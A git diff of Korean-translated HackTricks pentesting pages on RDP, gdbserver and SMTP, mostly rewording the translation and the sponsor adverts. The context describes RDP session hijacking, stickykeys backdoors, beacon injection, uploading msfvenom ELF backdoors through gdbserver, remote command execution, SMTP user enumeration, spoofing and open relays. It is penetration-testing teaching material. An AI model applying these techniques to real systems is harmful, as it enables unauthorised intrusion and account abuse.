|
||||
#### **Mimikatz**
|
||||
|
||||
|
@ -105,11 +109,11 @@ ts::remote /id:2 #Connect to the session
|
|||
|
||||
이 기술을 **stickykeys** 또는 **utilman**과 결합하면 언제든지 관리 CMD와 모든 RDP 세션에 접근할 수 있습니다.
|
||||
|
||||
이 기술 중 하나로 백도어가 설정된 RDP를 검색할 수 있습니다: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
이미 이러한 기술 중 하나로 백도어가 설정된 RDP를 검색할 수 있습니다: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
|
||||
|
||||
### RDP Process Injection
|
||||
|
||||
다른 도메인에서 또는 **더 나은 권한으로 RDP를 통해 로그인한** 사용자가 **당신이 관리자**인 PC에 접속하면, 그의 **RDP 세션 프로세스**에 당신의 비콘을 **주입**하고 그로 행동할 수 있습니다:
|
||||
다른 도메인에서 또는 **더 나은 권한으로 RDP**를 통해 **당신이 관리자**인 PC에 로그인하는 경우, 그의 **RDP 세션 프로세스**에 당신의 비콘을 **주입**하고 그로 행동할 수 있습니다:
|
||||
|
||||
{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
|
||||
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
|
||||
|
@ -123,7 +127,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
|||
|
||||
* [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn**는 Microsoft Windows 컴퓨터에서 **Shadow** 공격을 자동화하기 위해 주로 설계된 Powershell로 생성된 포스트 익스플로잇 프레임워크입니다. 이 취약점(마이크로소프트에서 기능으로 나열됨)은 원격 공격자가 **피해자의 동의 없이 그의 데스크탑을 볼 수 있게** 하며, 심지어 운영 체제 자체의 도구를 사용하여 필요에 따라 이를 제어할 수 있게 합니다.
|
||||
**AutoRDPwn**는 Microsoft Windows 컴퓨터에서 **Shadow** 공격을 자동화하기 위해 설계된 Powershell로 작성된 포스트 익스플로잇 프레임워크입니다. 이 취약점(마이크로소프트에서 기능으로 나열됨)은 원격 공격자가 **피해자의 데스크탑을 그의 동의 없이 볼 수 있게** 하며, 심지어 운영 체제 자체의 도구를 사용하여 필요에 따라 이를 제어할 수 있게 합니다.
|
||||
|
||||
* [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
* 명령줄에서 자동화된 방식으로 마우스와 키보드 제어
|
||||
|
@ -153,7 +157,9 @@ Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-inf
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 우리는 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
|
|
@ -17,19 +17,21 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행할 수 있으며, 이는 탐색에서 보고에 이르기까지 가능합니다. 우리는 침투 테스터를 대체하지 않으며, 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 치명적이고 악용 가능한 취약점을 찾아보고 보고하세요.** 공격 표면을 매핑하고 권한 상승을 허용하는 보안 문제를 찾아내며, 필수 증거를 수집하기 위해 자동화된 익스플로잇을 사용하여 귀하의 노력을 설득력 있는 보고서로 전환할 수 있는 20개 이상의 맞춤형 도구를 사용하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**gdbserver**는 프로그램을 원격으로 디버깅할 수 있게 해주는 도구입니다. 디버깅이 필요한 프로그램과 함께 동일한 시스템에서 실행되며, 이를 "대상"이라고 합니다. 이 설정은 **GNU Debugger**가 소스 코드와 디버깅된 프로그램의 이진 복사본이 저장된 다른 머신인 "호스트"에서 연결할 수 있게 합니다. **gdbserver**와 디버거 간의 연결은 TCP 또는 직렬 라인을 통해 이루어질 수 있어 다양한 디버깅 설정이 가능합니다.
|
||||
**gdbserver**는 프로그램을 원격으로 디버깅할 수 있게 해주는 도구입니다. 디버깅이 필요한 프로그램과 함께 동일한 시스템에서 실행되며, 이를 "대상"이라고 합니다. 이 설정은 **GNU Debugger**가 소스 코드와 디버깅된 프로그램의 바이너리 복사본이 저장된 다른 머신인 "호스트"에서 연결할 수 있게 합니다. **gdbserver**와 디버거 간의 연결은 TCP 또는 직렬 라인을 통해 이루어질 수 있어 다양한 디버깅 설정이 가능합니다.
|
||||
|
||||
**gdbserver가 모든 포트를 수신 대기하도록 설정할 수 있으며**, 현재 **nmap은 이 서비스를 인식할 수 없습니다**.
|
||||
**gdbserver를 어떤 포트에서도 수신 대기하도록 설정할 수 있으며**, 현재 **nmap은 이 서비스를 인식할 수 없습니다.**
|
||||
|
||||
## Exploitation
|
||||
|
||||
### Upload and Execute
|
||||
### 업로드 및 실행
|
||||
|
||||
**msfvenom으로 elf 백도어를 쉽게 생성하고**, 업로드하여 실행할 수 있습니다:
|
||||
```bash
|
||||
|
@ -56,7 +58,7 @@ run
|
|||
```
|
||||
### 임의의 명령 실행
|
||||
|
||||
**디버거가 임의의 명령을 실행하도록 만드는 또 다른 방법이 있습니다** [**여기에서 가져온 python 사용자 정의 스크립트**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
||||
**디버거가 임의의 명령을 실행하도록 만드는 또 다른 방법이 있습니다.** [**여기에서 가져온 python 사용자 정의 스크립트**](https://stackoverflow.com/questions/26757055/gdbserver-execute-shell-commands-of-the-target).
|
||||
```bash
|
||||
# Given remote terminal running `gdbserver :2345 ./remote_executable`, we connect to that server.
|
||||
target extended-remote 192.168.1.4:2345
|
||||
|
@ -198,7 +200,9 @@ RemoteCmd()
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
|
@ -212,7 +216,7 @@ GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt=
|
|||
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -17,15 +17,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**즉시 사용 가능한 취약점 평가 및 침투 테스트 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않으며, 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## **기본 정보**
|
||||
|
||||
**간단한 메일 전송 프로토콜(SMTP)**는 **이메일을 전송하고 수신하는** 데 사용되는 TCP/IP 프로토콜입니다. 수신자의 메시지 대기열에 대한 제한으로 인해 SMTP는 종종 **POP3 또는 IMAP**과 함께 사용됩니다. 이러한 추가 프로토콜은 사용자가 서버 메일박스에 메시지를 저장하고 주기적으로 다운로드할 수 있도록 합니다.
|
||||
**간단한 메일 전송 프로토콜(SMTP)**은 **이메일을 전송하고 수신하는 데 사용되는 TCP/IP 프로토콜**입니다. 수신자의 메시지 대기열에 대한 제한으로 인해 SMTP는 종종 **POP3 또는 IMAP**과 함께 사용됩니다. 이러한 추가 프로토콜은 사용자가 서버 메일박스에 메시지를 저장하고 주기적으로 다운로드할 수 있도록 합니다.
|
||||
|
||||
실제로 **이메일 프로그램**은 **이메일 전송을 위해 SMTP를 사용**하고, **수신을 위해 POP3 또는 IMAP을 사용**하는 것이 일반적입니다. 유닉스 기반 시스템에서는 **sendmail**이 이메일 용도로 가장 자주 사용되는 SMTP 서버로 두드러집니다. Sendmail이라는 상용 패키지는 POP3 서버를 포함합니다. 또한, **Microsoft Exchange**는 SMTP 서버를 제공하며 POP3 지원을 포함할 수 있는 옵션을 제공합니다.
|
||||
실제로 **이메일 프로그램**은 **이메일 전송을 위해 SMTP를 사용**하고, **수신을 위해 POP3 또는 IMAP을 사용**하는 것이 일반적입니다. 유닉스 기반 시스템에서는 **sendmail**이 이메일 용도로 가장 자주 사용되는 SMTP 서버로 두드러집니다. Sendmail이라는 상용 패키지는 POP3 서버를 포함하고 있습니다. 또한, **Microsoft Exchange**는 SMTP 서버를 제공하며 POP3 지원을 포함할 수 있는 옵션을 제공합니다.
|
||||
|
||||
**기본 포트:** 25,465(ssl),587(ssl)
|
||||
```
|
||||
|
@ -34,11 +36,11 @@ PORT STATE SERVICE REASON VERSION
|
|||
```
|
||||
### EMAIL Headers
|
||||
|
||||
피해자가 **이메일을 보내도록 할 수 있는 기회가 있다면** (예: 웹 페이지의 연락처 양식을 통해), 그렇게 하세요. 왜냐하면 **이메일 헤더를 통해 피해자의 내부 토폴로지에 대해 알 수 있기 때문입니다.**
|
||||
피해자가 **이메일을 보내도록 만들 기회가 있다면** (예: 웹 페이지의 연락처 양식을 통해), 그렇게 하세요. 왜냐하면 **메일의 헤더를 통해 피해자의 내부 토폴로지에 대해 알 수 있기 때문입니다.**
|
||||
|
||||
또한 **존재하지 않는 주소로 이메일을 보내려고 SMTP 서버에서 이메일을 받을 수 있습니다** (서버가 공격자에게 NDN 메일을 보낼 것이기 때문입니다). 하지만, 허용된 주소에서 이메일을 보내고 (SPF 정책을 확인하세요) NDN 메시지를 받을 수 있는지 확인해야 합니다.
|
||||
또한 **존재하지 않는 주소로 그 서버에 이메일을 보내려고 시도하여 SMTP 서버에서 이메일을 받을 수 있습니다** (서버가 공격자에게 NDN 메일을 보낼 것이기 때문입니다). 하지만, 허용된 주소에서 이메일을 보내고 (SPF 정책을 확인하세요) NDN 메시지를 받을 수 있는지 확인하세요.
|
||||
|
||||
또한 **다양한 내용을 보내보세요. 왜냐하면 헤더에서 더 흥미로운 정보를 찾을 수 있기 때문입니다**: `X-Virus-Scanned: by av.domain.com`\
|
||||
또한 **다양한 내용을 보내보세요. 헤더에서 더 흥미로운 정보를 찾을 수 있습니다**: `X-Virus-Scanned: by av.domain.com`\
|
||||
EICAR 테스트 파일을 보내야 합니다.\
|
||||
**AV**를 감지하면 **알려진 취약점을 악용할 수 있습니다.**
|
||||
|
||||
|
@ -108,7 +110,7 @@ MAIL FROM: me
|
|||
|
||||
## 사용자 이름 브루트포스 열거
|
||||
|
||||
**인증이 항상 필요한 것은 아닙니다.**
|
||||
**인증이 항상 필요하지는 않습니다.**
|
||||
|
||||
### RCPT TO
|
||||
```bash
|
||||
|
@ -169,13 +171,15 @@ Nmap: nmap --script smtp-enum-users <IP>
|
|||
```
|
||||
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
|
||||
#### 해커의 관점에서 웹 앱, 네트워크 및 클라우드를 살펴보세요
|
||||
|
||||
**실제 비즈니스에 영향을 미치는 중요한, 악용 가능한 취약점을 찾아보고 보고하세요.** 20개 이상의 맞춤형 도구를 사용하여 공격 표면을 매핑하고, 권한 상승을 허용하는 보안 문제를 찾아내며, 자동화된 익스플로잇을 사용하여 필수 증거를 수집하여 귀하의 노력을 설득력 있는 보고서로 전환하세요.
|
||||
|
||||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||||
|
||||
## DSN 보고서
|
||||
|
||||
**전달 상태 알림 보고서**: 조직에 **잘못된 주소**로 **이메일**을 보내면, 해당 조직은 주소가 잘못되었다는 것을 **메일을 다시 보내며** 알립니다. 반환된 이메일의 **헤더**에는 가능한 **민감한 정보**(보고서와 상호작용한 메일 서비스의 IP 주소나 안티바이러스 소프트웨어 정보 등)가 **포함**될 것입니다.
|
||||
**전달 상태 알림 보고서**: 조직에 **잘못된 주소**로 **이메일**을 보내면, 해당 조직은 주소가 잘못되었다는 것을 **귀하에게 메일을 보내** 알립니다. 반환된 이메일의 **헤더**에는 가능한 **민감한 정보**(보고서와 상호작용한 메일 서비스의 IP 주소나 안티바이러스 소프트웨어 정보 등)가 **포함**될 것입니다.
|
||||
|
||||
## [명령어](smtp-commands.md)
|
||||
|
||||
|
@ -244,7 +248,7 @@ print("[***]successfully sent email to %s:" % (msg['To']))
|
|||
|
||||
## SMTP 스머글링
|
||||
|
||||
SMTP 스머글링 취약점은 모든 SMTP 보호를 우회할 수 있게 해줍니다 (보호에 대한 자세한 정보는 다음 섹션을 참조하세요). SMTP 스머글링에 대한 더 많은 정보는 다음을 확인하세요:
|
||||
SMTP 스머글링 취약점은 모든 SMTP 보호를 우회할 수 있게 해줍니다 (자세한 정보는 다음 섹션을 참조하세요). SMTP 스머글링에 대한 더 많은 정보는 다음을 확인하세요:
|
||||
|
||||
{% content-ref url="smtp-smuggling.md" %}
|
||||
[smtp-smuggling.md](smtp-smuggling.md)
|
||||
|
@ -252,18 +256,18 @@ SMTP 스머글링 취약점은 모든 SMTP 보호를 우회할 수 있게 해줍
|
|||
|
||||
## 메일 스푸핑 대응책
|
||||
|
||||
조직은 SMTP 메시지를 스푸핑하는 것이 용이하기 때문에 **SPF**, **DKIM**, **DMARC**를 사용하여 그들의 이름으로 무단 이메일이 발송되는 것을 방지합니다.
|
||||
조직은 **SPF**, **DKIM**, **DMARC**를 사용하여 그들의 이름으로 무단 이메일이 전송되는 것을 방지합니다. 이는 SMTP 메시지를 스푸핑하는 것이 용이하기 때문입니다.
|
||||
|
||||
**이 대응책에 대한 완전한 가이드**는 [https://seanthegeek.net/459/demystifying-dmarc/](https://seanthegeek.net/459/demystifying-dmarc/)에서 확인할 수 있습니다.
|
||||
|
||||
### SPF
|
||||
|
||||
{% hint style="danger" %}
|
||||
SPF [는 2014년에 "사용 중단"되었습니다](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). 이는 `_spf.domain.com`에 **TXT 레코드**를 생성하는 대신 `domain.com`에 **동일한 구문**을 사용하여 생성해야 함을 의미합니다.\
|
||||
SPF [는 2014년에 "사용 중지"되었습니다](https://aws.amazon.com/premiumsupport/knowledge-center/route53-spf-record/). 이는 `_spf.domain.com`에 **TXT 레코드**를 생성하는 대신 `domain.com`에 **동일한 구문**을 사용하여 생성해야 함을 의미합니다.\
|
||||
또한, 이전 SPF 레코드를 재사용하기 위해 `"v=spf1 include:_spf.google.com ~all"`과 같은 것을 찾는 것이 일반적입니다.
|
||||
{% endhint %}
|
||||
|
||||
**발신자 정책 프레임워크**(SPF)는 메일 전송 에이전트(MTA)가 이메일을 보내는 호스트가 조직에서 정의한 승인된 메일 서버 목록을 조회하여 인증되었는지를 확인할 수 있게 해주는 메커니즘입니다. 이 목록은 **도메인 이름을 대신하여 이메일을 보낼 수 있는** IP 주소/범위, 도메인 및 기타 엔티티를 지정하며, SPF 레코드에 다양한 "**메커니즘**"을 포함합니다.
|
||||
**발신자 정책 프레임워크** (SPF)는 메일 전송 에이전트 (MTA)가 이메일을 전송하는 호스트가 조직에서 정의한 승인된 메일 서버 목록을 조회하여 인증되었는지 확인할 수 있게 해주는 메커니즘입니다. 이 목록은 **도메인 이름을 대신하여 이메일을 전송할 수 있는** IP 주소/범위, 도메인 및 기타 엔티티를 지정하며, SPF 레코드에 다양한 "**메커니즘**"을 포함합니다.
|
||||
|
||||
#### 메커니즘
|
||||
|
||||
|
@ -276,24 +280,24 @@ SPF [는 2014년에 "사용 중단"되었습니다](https://aws.amazon.com/premi
|
|||
| IP4 | 발신자가 주어진 IPv4 주소 범위에 있는 경우 일치합니다. |
|
||||
| IP6 | 발신자가 주어진 IPv6 주소 범위에 있는 경우 일치합니다. |
|
||||
| MX | 도메인 이름에 발신자의 주소로 확인할 수 있는 MX 레코드가 있는 경우 일치합니다 (즉, 메일이 도메인의 수신 메일 서버 중 하나에서 옵니다). |
|
||||
| PTR | 클라이언트 주소의 도메인 이름(PTR 레코드)이 주어진 도메인에 있고 해당 도메인 이름이 클라이언트 주소로 확인되는 경우(정방향 확인된 역 DNS) 일치합니다. 이 메커니즘은 권장되지 않으며 가능한 한 피해야 합니다. |
|
||||
| EXISTS | 주어진 도메인 이름이 어떤 주소로 확인되는 경우 일치합니다 (확인되는 주소에 관계없이). 이는 드물게 사용됩니다. SPF 매크로 언어와 함께 사용하면 DNSBL 쿼리와 같은 더 복잡한 일치를 제공합니다. |
|
||||
| PTR | 클라이언트의 주소에 대한 도메인 이름 (PTR 레코드)이 주어진 도메인에 있고 해당 도메인 이름이 클라이언트의 주소로 확인되는 경우 (정방향 확인된 역 DNS), 일치합니다. 이 메커니즘은 권장되지 않으며 가능한 한 피해야 합니다. |
|
||||
| EXISTS | 주어진 도메인 이름이 어떤 주소로도 확인되는 경우 일치합니다 (확인되는 주소에 관계없이). 이는 드물게 사용됩니다. SPF 매크로 언어와 함께 사용하면 DNSBL 쿼리와 같은 더 복잡한 일치를 제공합니다. |
|
||||
| INCLUDE | 다른 도메인의 정책을 참조합니다. 해당 도메인의 정책이 통과하면 이 메커니즘도 통과합니다. 그러나 포함된 정책이 실패하면 처리는 계속됩니다. 다른 도메인의 정책에 완전히 위임하려면 리디렉션 확장을 사용해야 합니다. |
|
||||
| REDIRECT | <p>리디렉션은 SPF 정책을 호스팅하는 다른 도메인 이름에 대한 포인터로, 여러 도메인이 동일한 SPF 정책을 공유할 수 있게 해줍니다. 이는 동일한 이메일 인프라를 공유하는 많은 도메인과 작업할 때 유용합니다.</p><p>리디렉션 메커니즘에 표시된 도메인의 SPF 정책이 사용됩니다.</p> |
|
||||
|
||||
**정량자**를 식별하는 것도 가능합니다. 이는 **메커니즘이 일치할 경우 수행해야 할 작업**을 나타냅니다. 기본적으로 **정량자 "+"**가 사용됩니다 (따라서 어떤 메커니즘이 일치하면 허용된다는 의미입니다).\
|
||||
보통 **각 SPF 정책의 끝**에 **\~all** 또는 **-all**과 같은 것을 볼 수 있습니다. 이는 **발신자가 어떤 SPF 정책과도 일치하지 않을 경우 이메일을 신뢰할 수 없는 것으로 태그(\~)하거나 이메일을 거부(-)해야 함을 나타냅니다.**
|
||||
보통 **각 SPF 정책의 끝**에 **\~all** 또는 **-all**과 같은 것이 표시됩니다. 이는 **발신자가 어떤 SPF 정책과도 일치하지 않을 경우 이메일을 신뢰할 수 없는 것으로 태그(\~)하거나 이메일을 거부(-)해야 함을 나타냅니다.**
|
||||
|
||||
#### 정량자
|
||||
|
||||
정책 내의 각 메커니즘은 의도된 결과를 정의하기 위해 네 가지 정량자 중 하나로 접두사를 붙일 수 있습니다:
|
||||
정책 내의 각 메커니즘은 의도된 결과를 정의하기 위해 네 가지 정량자 중 하나로 접두어를 붙일 수 있습니다:
|
||||
|
||||
* **`+`**: PASS 결과에 해당합니다. 기본적으로 메커니즘은 이 정량자를 가정하므로 `+mx`는 `mx`와 동일합니다.
|
||||
* **`?`**: NEUTRAL 결과를 나타내며, NONE(특정 정책 없음)과 유사하게 처리됩니다.
|
||||
* **`~`**: SOFTFAIL을 나타내며, NEUTRAL과 FAIL 사이의 중간 지점 역할을 합니다. 이 결과를 충족하는 이메일은 일반적으로 수락되지만 적절히 표시됩니다.
|
||||
* **`-`**: FAIL을 나타내며, 이메일이 즉시 거부되어야 함을 제안합니다.
|
||||
|
||||
다음 예제에서는 **google.com의 SPF 정책**이 설명됩니다. 첫 번째 SPF 정책 내에 다른 도메인의 SPF 정책이 포함되어 있는 점에 유의하세요:
|
||||
다음 예제에서는 **google.com의 SPF 정책**이 설명됩니다. 첫 번째 SPF 정책 내에 다른 도메인의 SPF 정책이 포함된 점에 유의하세요:
|
||||
```shell-session
|
||||
dig txt google.com | grep spf
|
||||
google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all"
|
||||
|
@ -330,7 +334,7 @@ dig 20120113._domainkey.gmail.com TXT | grep p=
|
|||
```
|
||||
### DMARC (Domain-based Message Authentication, Reporting & Conformance)
|
||||
|
||||
DMARC는 SPF 및 DKIM 프로토콜을 기반으로 이메일 보안을 강화합니다. 특정 도메인에서 오는 이메일 처리에 대한 정책을 설명하며, 인증 실패를 처리하는 방법과 이메일 처리 작업에 대한 보고서를 어디로 보낼지를 포함합니다.
|
||||
DMARC는 SPF 및 DKIM 프로토콜을 기반으로 이메일 보안을 강화합니다. 특정 도메인에서 오는 이메일을 처리하는 데 있어 메일 서버가 따라야 할 정책을 설명하며, 인증 실패를 처리하는 방법과 이메일 처리 작업에 대한 보고서를 어디로 보낼지를 포함합니다.
|
||||
|
||||
**DMARC 레코드를 얻으려면 서브도메인 \_dmarc를 쿼리해야 합니다.**
|
||||
```bash
|
||||
|
@ -351,39 +355,39 @@ _dmarc.bing.com. 3600 IN TXT "v=DMARC1; p=none; pct=100; rua=mailto:BingEmailDMA
|
|||
| 태그 이름 | 목적 | 샘플 |
|
||||
| -------- | --------------------------------------------- | ------------------------------- |
|
||||
| v | 프로토콜 버전 | v=DMARC1 |
|
||||
| pct | 필터링에 적용되는 메시지의 비율 | pct=20 |
|
||||
| pct | 필터링 대상 메시지의 비율 | pct=20 |
|
||||
| ruf | 포렌식 보고서의 보고 URI | ruf=mailto:authfail@example.com |
|
||||
| rua | 집계 보고서의 보고 URI | rua=mailto:aggrep@example.com |
|
||||
| p | 조직 도메인에 대한 정책 | p=quarantine |
|
||||
| sp | OD의 하위 도메인에 대한 정책 | sp=reject |
|
||||
| adkim | DKIM에 대한 정렬 모드 | adkim=s |
|
||||
| aspf | SPF에 대한 정렬 모드 | aspf=r |
|
||||
| adkim | DKIM의 정렬 모드 | adkim=s |
|
||||
| aspf | SPF의 정렬 모드 | aspf=r |
|
||||
|
||||
### **하위 도메인은 어떻게 되나요?**
|
||||
|
||||
**여기서** [**출처**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\
|
||||
메일을 보내고자 하는 각 하위 도메인에 대해 별도의 SPF 레코드가 필요합니다.\
|
||||
메일을 보내고자 하는 각 하위 도메인에 대해 별도의 SPF 레코드를 가져야 합니다.\
|
||||
다음 내용은 원래 openspf.org에 게시된 것으로, 이와 같은 정보에 대한 훌륭한 자원이었습니다.
|
||||
|
||||
> 데몬 질문: 하위 도메인은 어떻게 되나요?
|
||||
> 악마의 질문: 하위 도메인은 어떻게 되나요?
|
||||
>
|
||||
> pielovers.demon.co.uk에서 메일을 받고, pielovers에 대한 SPF 데이터가 없다면, 한 단계 올라가서 demon.co.uk에 대한 SPF를 테스트해야 할까요? 아니요. 데몬의 각 하위 도메인은 다른 고객이며, 각 고객은 자신의 정책을 가질 수 있습니다. 데몬의 정책이 기본적으로 모든 고객에게 적용되는 것은 의미가 없습니다. 데몬이 그렇게 하기를 원한다면, 각 하위 도메인에 대한 SPF 레코드를 설정할 수 있습니다.
|
||||
> pielovers.demon.co.uk에서 메일을 받고, pielovers에 대한 SPF 데이터가 없다면, 한 단계 올라가서 demon.co.uk에 대한 SPF를 테스트해야 할까요? 아니요. Demon의 각 하위 도메인은 다른 고객이며, 각 고객은 자신의 정책을 가질 수 있습니다. 기본적으로 Demon's 정책이 모든 고객에게 적용되는 것은 의미가 없습니다. Demon이 그렇게 하기를 원한다면, 각 하위 도메인에 대한 SPF 레코드를 설정할 수 있습니다.
|
||||
>
|
||||
> 따라서 SPF 발행자에게 주는 조언은 다음과 같습니다: A 또는 MX 레코드가 있는 각 하위 도메인 또는 호스트 이름에 대해 SPF 레코드를 추가해야 합니다.
|
||||
>
|
||||
> 와일드카드 A 또는 MX 레코드가 있는 사이트는 다음 형식의 와일드카드 SPF 레코드도 가져야 합니다: \* IN TXT "v=spf1 -all"
|
||||
|
||||
이것은 의미가 있습니다 - 하위 도메인은 다른 지리적 위치에 있을 수 있으며 매우 다른 SPF 정의를 가질 수 있습니다.
|
||||
이것은 의미가 있습니다 - 하위 도메인은 매우 다른 지리적 위치에 있을 수 있으며 매우 다른 SPF 정의를 가질 수 있습니다.
|
||||
|
||||
### **오픈 릴레이**
|
||||
|
||||
이메일이 전송될 때, 스팸으로 표시되지 않도록 하는 것이 중요합니다. 이는 종종 **수신자가 신뢰하는 릴레이 서버**를 사용하여 달성됩니다. 그러나 일반적인 문제는 관리자가 **어떤 IP 범위가 허용되는지 완전히 인식하지 못할 수 있다는 점**입니다. 이러한 이해 부족은 SMTP 서버 설정에서 실수로 이어질 수 있으며, 이는 보안 평가에서 자주 식별되는 위험입니다.
|
||||
이메일이 전송될 때, 스팸으로 표시되지 않도록 하는 것이 중요합니다. 이는 종종 **수신자가 신뢰하는 릴레이 서버**를 사용하여 달성됩니다. 그러나 일반적인 문제는 관리자가 **어떤 IP 범위가 안전한지** 완전히 인식하지 못할 수 있다는 것입니다. 이러한 이해 부족은 SMTP 서버 설정에서 실수로 이어질 수 있으며, 이는 보안 평가에서 자주 식별되는 위험입니다.
|
||||
|
||||
일부 관리자가 잠재적 또는 진행 중인 클라이언트와의 통신과 관련하여 이메일 배달 문제를 피하기 위해 사용하는 우회 방법은 **모든 IP 주소에서의 연결을 허용하는 것**입니다. 이는 SMTP 서버의 `mynetworks` 매개변수를 모든 IP 주소를 수용하도록 구성하여 수행됩니다.
|
||||
특히 잠재적이거나 진행 중인 클라이언트와의 통신과 관련하여 이메일 배달 문제를 피하기 위해 일부 관리자가 사용하는 우회 방법은 **모든 IP 주소에서의 연결을 허용하는 것**입니다. 이는 SMTP 서버의 `mynetworks` 매개변수를 모든 IP 주소를 수용하도록 구성하여 수행됩니다.
|
||||
```bash
|
||||
mynetworks = 0.0.0.0/0
|
||||
```
|
||||
